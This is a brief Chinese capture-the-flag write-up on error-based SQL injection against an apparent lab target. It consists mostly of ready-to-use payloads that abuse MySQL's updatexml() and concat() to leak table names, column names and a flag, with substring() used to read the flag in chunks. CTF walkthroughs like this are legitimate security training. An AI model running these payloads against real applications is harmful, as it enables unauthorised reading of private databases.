报错注入与substring()
经检测,存在"
注入,显错。
猜测后台语句:
select XXX from XXX where XXX="" and XXX="";
使用函数updatexml()
在第二个注入点进行报错注入。
查表名:
-1" or updatexml(1,(concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1 offset 0),0x7e)),1) or "1
-1" or updatexml(1,(concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1 offset 1),0x7e)),1) or "1
......
查列名:
-1" or updatexml(1,(concat(0x7e,(select column_name from information_schema.columns where table_name='flag1' limit 1 offset 0),0x7e)),1) or "1
由于 flag 的长度超出了报错显示的上限,故使用函数substring()
进行字符串的截取,分开多次进行注入:
-1" or updatexml(1,(concat(0x7e,(substring((select flag1 from flag1 limit 1 offset 0),1,10)),0x7e)),1) or "1
-1" or updatexml(1,(concat(0x7e,(substring((select flag1 from flag1 limit 1 offset 0),11,10)),0x7e)),1) or "1
-1" or updatexml(1,(concat(0x7e,(substring((select flag1 from flag1 limit 1 offset 0),21,10)),0x7e)),1) or "1
-1" or updatexml(1,(concat(0x7e,(substring((select flag1 from flag1 limit 1 offset 0),31,10)),0x7e)),1) or "1
将四次查询的结果进行拼接,获得 flag。